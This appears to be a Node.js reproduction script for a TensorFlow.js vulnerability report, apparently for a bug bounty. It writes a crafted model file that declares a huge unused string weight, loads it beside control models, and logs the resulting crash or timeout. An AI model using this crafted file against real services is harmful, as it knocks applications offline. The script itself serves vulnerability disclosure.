#!/usr/bin/env node 'use strict'; const fs = require('fs'); const path = require('path'); const {spawnSync} = require('child_process'); const PACKAGE_ROOT = __dirname; const LOCAL_TFJS_PATH = path.join(PACKAGE_ROOT, 'node_modules/@tensorflow/tfjs'); const EVIDENCE_ROOT = path.join(PACKAGE_ROOT, 'evidence-runtime'); const GENERATED_ROOT = path.join(PACKAGE_ROOT, 'runtime-generated-models'); const DEFAULT_SHAPE = Number(process.env.MALICIOUS_SHAPE || '50000000'); function requireTfjs() { return require(LOCAL_TFJS_PATH); } async function buildBaseArtifacts(tf) { const model = tf.sequential(); model.add(tf.layers.dense({units: 1, inputShape: [1], useBias: true})); model.setWeights([ tf.tensor2d([2], [1, 1], 'float32'), tf.tensor1d([1], 'float32') ]); const save = await model.save(tf.io.withSaveHandler(async artifacts => artifacts)); model.dispose(); return save; } function writeModelFiles(prefix, modelTopology, weightSpecs, weightData) { const modelJson = { format: 'layers-model', generatedBy: 'tfjs-huntr-poc', convertedBy: null, modelTopology, weightsManifest: [{ paths: [`${prefix}_weights.bin`], weights: weightSpecs }] }; const modelPath = path.join(GENERATED_ROOT, `${prefix}_model.json`); const weightsPath = path.join(GENERATED_ROOT, `${prefix}_weights.bin`); fs.writeFileSync(modelPath, JSON.stringify(modelJson, null, 2)); fs.writeFileSync(weightsPath, Buffer.from(weightData)); return {modelPath, weightsPath}; } async function prepareModels(shape) { fs.mkdirSync(GENERATED_ROOT, {recursive: true}); const tf = requireTfjs(); const base = await buildBaseArtifacts(tf); const baseSpecs = JSON.parse(JSON.stringify(base.weightSpecs)); const baseTopology = JSON.parse(JSON.stringify(base.modelTopology)); const control = writeModelFiles( 'control', baseTopology, baseSpecs, base.weightData ); const numeric = writeModelFiles( 'numeric_extra_float32', baseTopology, baseSpecs.concat([{ name: 'unused_extra_float32', shape: [shape], dtype: 'float32' }]), base.weightData ); const malicious = writeModelFiles( 'malicious_extra_string', baseTopology, baseSpecs.concat([{ name: 'unused_extra_string', shape: [shape], dtype: 'string' }]), base.weightData ); return {shape, control, numeric, malicious}; } function loadModelJson(modelPath) { const modelJson = JSON.parse(fs.readFileSync(modelPath, 'utf8')); const manifest = modelJson.weightsManifest[0]; const weightsPath = path.join(path.dirname(modelPath), manifest.paths[0]); const weights = fs.readFileSync(weightsPath); return { modelTopology: modelJson.modelTopology, weightSpecs: manifest.weights, weightData: weights.buffer.slice(weights.byteOffset, weights.byteOffset + weights.byteLength) }; } async function runLoadChild(modelPath, predict) { const tf = requireTfjs(); const artifacts = loadModelJson(modelPath); const started = process.hrtime.bigint(); try { const model = await tf.loadLayersModel(tf.io.fromMemory(artifacts)); const result = { status: 'ok', model_inputs: model.inputs.map(input => input.shape), model_outputs: model.outputs.map(output => output.shape), duration_ms: Number(process.hrtime.bigint() - started) / 1e6 }; if (predict) { const y = model.predict(tf.tensor2d([3], [1, 1], 'float32')); result.prediction = Array.from(await y.data()); y.dispose(); } model.dispose(); console.log(JSON.stringify(result)); } catch (error) { console.log(JSON.stringify({ status: 'exception', error: { name: error.name, message: error.message, stack_head: error.stack ? error.stack.split('\n').slice(0, 5) : [] }, duration_ms: Number(process.hrtime.bigint() - started) / 1e6 })); } } function parseLastJson(stdout) { const lines = stdout.trim().split(/\r?\n/).filter(Boolean); for (let i = lines.length - 1; i >= 0; i--) { try { return JSON.parse(lines[i]); } catch { continue; } } return null; } function runCase(name, modelPath, timeoutMs, predict = false) { const child = spawnSync(process.execPath, [ '--max-old-space-size=256', __filename, '--child-load', modelPath, predict ? '--predict' : '' ].filter(Boolean), { cwd: PACKAGE_ROOT, timeout: timeoutMs, killSignal: 'SIGKILL', encoding: 'utf8', env: { ...process.env, TF_CPP_MIN_LOG_LEVEL: '3' } }); const parsed = parseLastJson(child.stdout || ''); return { name, model_path: modelPath, timeout_ms: timeoutMs, exit_code: child.status, signal: child.signal, spawn_error: child.error ? {code: child.error.code, message: child.error.message} : null, parsed_result: parsed, stdout_tail: (child.stdout || '').split(/\r?\n/).slice(-6).join('\n'), stderr_tail: (child.stderr || '').split(/\r?\n/).slice(-8).join('\n'), classification: child.error && child.error.code === 'ETIMEDOUT' ? 'timeout' : parsed && parsed.status }; } async function runParent() { const shape = DEFAULT_SHAPE; const files = await prepareModels(shape); const results = [ runCase('control_valid_model', files.control.modelPath, 5000, true), runCase('numeric_extra_float32_control', files.numeric.modelPath, 5000, false), runCase('malicious_extra_string_dos', files.malicious.modelPath, 3000, false) ]; const summary = { generated_at: new Date().toISOString(), node: process.version, tfjs_version: require(path.join(LOCAL_TFJS_PATH, 'package.json')).version, malicious_shape: shape, files, results }; fs.mkdirSync(EVIDENCE_ROOT, {recursive: true}); const outPath = path.join(EVIDENCE_ROOT, `tfjs-string-weight-dos-repro-${new Date().toISOString().replace(/[:.]/g, '').replace('T', '-').replace('Z', '')}.json`); fs.writeFileSync(outPath, JSON.stringify(summary, null, 2)); console.log(JSON.stringify(summary, null, 2)); console.log(`wrote ${outPath}`); } if (process.argv[2] === '--child-load') { runLoadChild(process.argv[3], process.argv.includes('--predict')).catch(error => { console.log(JSON.stringify({ status: 'exception', error: {name: error.name, message: error.message} })); process.exitCode = 1; }); } else { runParent().catch(error => { console.error(error && error.stack ? error.stack : error); process.exitCode = 1; }); }